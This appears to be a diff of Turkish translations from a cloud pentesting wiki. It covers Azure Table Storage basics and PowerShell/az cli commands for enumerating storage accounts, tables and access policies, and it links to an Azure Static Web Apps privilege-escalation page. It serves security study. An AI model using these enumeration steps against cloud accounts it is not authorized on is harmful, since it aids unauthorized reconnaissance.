Azure Static Web Apps'te yetki yükseltme ve sonrası sömürü ile ilgili tüm bilgilere aşağıdaki bağlantıdan ulaşabilirsiniz:
Azure Statik Web Uygulamaları'nda yetki yükseltme ve sonrası istismar hakkında tüm bilgilere aşağıdaki bağlantıdan ulaşabilirsiniz:
{{#ref}}
../az-privilege-escalation/az-static-web-apps-privesc.md

View File

@@ -4,7 +4,7 @@
## Temel Bilgiler
**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur.
**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her bir varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur.
Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**.
@@ -13,7 +13,7 @@ Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**.
#### **PartitionKey**
- **PartitionKey, varlıkları mantıksal bölümlere gruplar**. Aynı PartitionKey'e sahip varlıklar bir arada depolanır, bu da sorgu performansını ve ölçeklenebilirliği artırır.
- Örnek: Bir çalışan verilerini depolayan bir tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`.
- Örnek: Bir çalışan verisi depolayan tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`.
#### **RowKey**
@@ -69,12 +69,14 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID prensip ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın.
> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID anahtar ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın.
> [!TIP]
> Kullanılacak hesap anahtarını belirtmek için `--account-key` parametresini kullanın\